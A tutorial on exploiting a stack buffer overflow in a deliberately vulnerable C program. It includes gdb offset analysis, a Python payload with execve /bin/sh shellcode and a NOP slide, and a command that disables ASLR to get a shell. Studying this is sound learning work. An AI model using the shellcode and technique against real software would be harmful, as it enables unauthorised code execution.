Disclaimer
– The application has to be vulnerable (e.g. gets, scanf, strcpy) for an overflow attack.
– Modern compilers are making it nearly impossible to inject and then execute shellcode.
Setup
#include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { char buf[100]; strcpy(buf, argv[1]); return 0; }
Important: The following parameters are necessary for writing and executing shellcode on the stack.
$ g++ -fno-stack-protector -z execstack main.cpp
Analysis
$ gdb a.out (gdb) disas main Dump of assembler code for function main: 0x0000000000400502 <+0>: push %rbp 0x0000000000400503 <+1>: mov %rsp,%rbp 0x0000000000400506 <+4>: add $0xffffffffffffff80,%rsp 0x000000000040050a <+8>: mov %edi,-0x74(%rbp) 0x000000000040050d <+11>: mov %rsi,-0x80(%rbp) 0x0000000000400511 <+15>: mov -0x80(%rbp),%rax 0x0000000000400515 <+19>: add $0x8,%rax 0x0000000000400519 <+23>: mov (%rax),%rdx 0x000000000040051c <+26>: lea -0x70(%rbp),%rax 0x0000000000400520 <+30>: mov %rdx,%rsi 0x0000000000400523 <+33>: mov %rax,%rdi 0x0000000000400526 <+36>: callq 0x400420 <strcpy@plt> 0x000000000040052b <+41>: mov $0x0,%eax 0x0000000000400530 <+46>: leaveq 0x0000000000400531 <+47>: retq End of assembler dump. (gdb) b *0x0000000000400530 Breakpoint 1 at 0x400530 (gdb) r AAAA Breakpoint 1, 0x0000000000400530 in main () (gdb) info f Stack level 0, frame at 0x7fffffffe440: rip = 0x400530 in main; saved rip = 0x7ffff7165fbb Arglist at 0x7fffffffe430, args: Locals at 0x7fffffffe430, Previous frame's sp is 0x7fffffffe440 Saved registers: rbp at 0x7fffffffe430, rip at 0x7fffffffe438 (gdb) x/40x $rsp 0x7fffffffe3b0: 0xffffe518 0x00007fff 0x00000000 0x00000002 0x7fffffffe3c0: 0x41414141 0x00000000 0x0060ae08 0x00000000 0x7fffffffe3d0: 0x00011bff 0x00000000 0x00011c30 0x00000000 0x7fffffffe3e0: 0xffffff90 0xffffffff 0x00000470 0x00000000 0x7fffffffe3f0: 0x000011c1 0x000004a0 0x00400585 0x00000000 0x7fffffffe400: 0xf7de5470 0x00007fff 0x00000000 0x00000000 0x7fffffffe410: 0x00400540 0x00000000 0x00400430 0x00000000 0x7fffffffe420: 0xffffe510 0x00007fff 0x00000000 0x00000000 0x7fffffffe430: 0x00400540 0x00000000 0xf7165fbb 0x00007fff 0x7fffffffe440: 0xffffff90 0xffffffff 0xffffe518 0x00007fff (gdb) p/d 0x7fffffffe438 - 0x7fffffffe3c0 $1 = 120
– 0x7fffffffe438 is the address of RIP (Instruction Pointer)
– 0x7fffffffe3c0 is the address of Buf[0] (\x41 encodes ‘A’)
Based on the length of the input argument these addresses will get changed. Let’s run the application with the protoypic, but full length parameter.
(gdb) r $(python -c "print('A' * 120 + 'B' * 8)") Breakpoint 1, 0x0000000000400530 in main () (gdb) x/40x $rsp 0x7fffffffe340: 0xffffe4a8 0x00007fff 0x00000000 0x00000002 0x7fffffffe350: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe360: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe370: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe380: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe390: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe3a0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe3b0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe3c0: 0x41414141 0x41414141 0x42424242 0x42424242 0x7fffffffe3d0: 0xffffff00 0xffffffff 0xffffe4a8 0x00007fff
– From 0x7fffffffe350 til 0x7fffffffe3c8 (120 Byte): NOP slide + Shellcode + Padding
– From 0x7fffffffe3c8 til 0x7fffffffe3d0 (8 Byte): RIP to somewhere within the NOP slide
Code Injection
# Shellcode: 24 Byte CODE = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05" # NOP slide: 100 Byte - 24 Byte = 76 Byte NOP = "\x90" * 76 # Padding: 120 Byte - 100 Byte = 20 Byte PAD = "\x41" * 20 # Instruction Pointer RIP = "\x60\xe3\xff\xff\xff\x7f" # \x00\x00 at the front would get ignored print NOP + CODE + PAD + RIP
(The generating of the shellcode is another topic, which is to big to get included in this post. The used one opens a shell for the user.)
Let’s try if the written python script brings the application to open a shell for us.
(gdb) r $(python overflow.py) Breakpoint 1, 0x0000000000400530 in main () (gdb) x/40x $rsp 0x7fffffffe340: 0xffffe4a8 0x00007fff 0x00000000 0x00000002 0x7fffffffe350: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffe360: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffe370: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffe380: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffe390: 0x90909090 0x90909090 0x90909090 0xd2314850 0x7fffffffe3a0: 0x48f63148 0x69622fbb 0x732f2f6e 0x5f545368 0x7fffffffe3b0: 0x050f3bb0 0x41414141 0x41414141 0x41414141 0x7fffffffe3c0: 0x41414141 0x41414141 0xffffe360 0x00007fff 0x7fffffffe3d0: 0xffffff90 0xffffffff 0xffffe4a8 0x00007fff (gdb) c Continuing. process 14841 is executing new program: /bin/bash
Nice. Now let’s try if this also works without the GDB.
Important: Disable that Linux will randomize the virtual address space.
echo "0" | dd of=/proc/sys/kernel/randomize_va_space
(Don’t forget to enable it (“2”) again afterwards.)
$ ./a.out $(python overflow.py) Segmentation fault (core dumped)
Rework
$ gdb <path/to/application> <path/to/coredump> Program terminated with signal SIGSEGV, Segmentation fault. #0 0x00007fffffffe360 in ?? () (gdb) bt #0 0x00007fffffffe360 in ?? () #1 0xffffffffffffff90 in ?? () #2 0x00007fffffffe518 in ?? () #3 0x00000002f7b0edd0 in ?? () #4 0x0000000000400502 in frame_dummy () #5 0x0000000000000000 in ?? () (gdb) x/80x 0x00007fffffffe360 0x7fffffffe360: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe370: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe380: 0x00000025 0x00000000 0xf71c2fbf 0x00007fff 0x7fffffffe390: 0x00000000 0x00000000 0xf7ffe120 0x00007fff 0x7fffffffe3a0: 0x00000000 0x00000000 0x0040052b 0x00000000 0x7fffffffe3b0: 0xffffe518 0x00007fff 0x00000000 0x00000002 0x7fffffffe3c0: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffe3d0: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffe3e0: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffe3f0: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffe400: 0x90909090 0x90909090 0x90909090 0xd2314850 0x7fffffffe410: 0x48f63148 0x69622fbb 0x732f2f6e 0x5f545368 0x7fffffffe420: 0x050f3bb0 0x41414141 0x41414141 0x41414141 0x7fffffffe430: 0x41414141 0x41414141 0xffffe360 0x00007fff 0x7fffffffe440: 0xffffff90 0xffffffff 0xffffe518 0x00007fff 0x7fffffffe450: 0xf7b0edd0 0x00000002 0x00400502 0x00000000 0x7fffffffe460: 0x00000000 0x00000000 0xb7a9d099 0x7ba1f524 0x7fffffffe470: 0x00400430 0x00000000 0xffffe510 0x00007fff 0x7fffffffe480: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe490: 0x75a9d099 0x845e0a5b 0x03cfd099 0x845e1b88
OK. We have to change the RIP with a value between 0x7fffffffe3c0 and 0x7fffffffe40c.
RIP = "\xe0\xe3\xff\xff\xff\x7f"
Try again … Yeah, finally we got the shell also out of the GDB.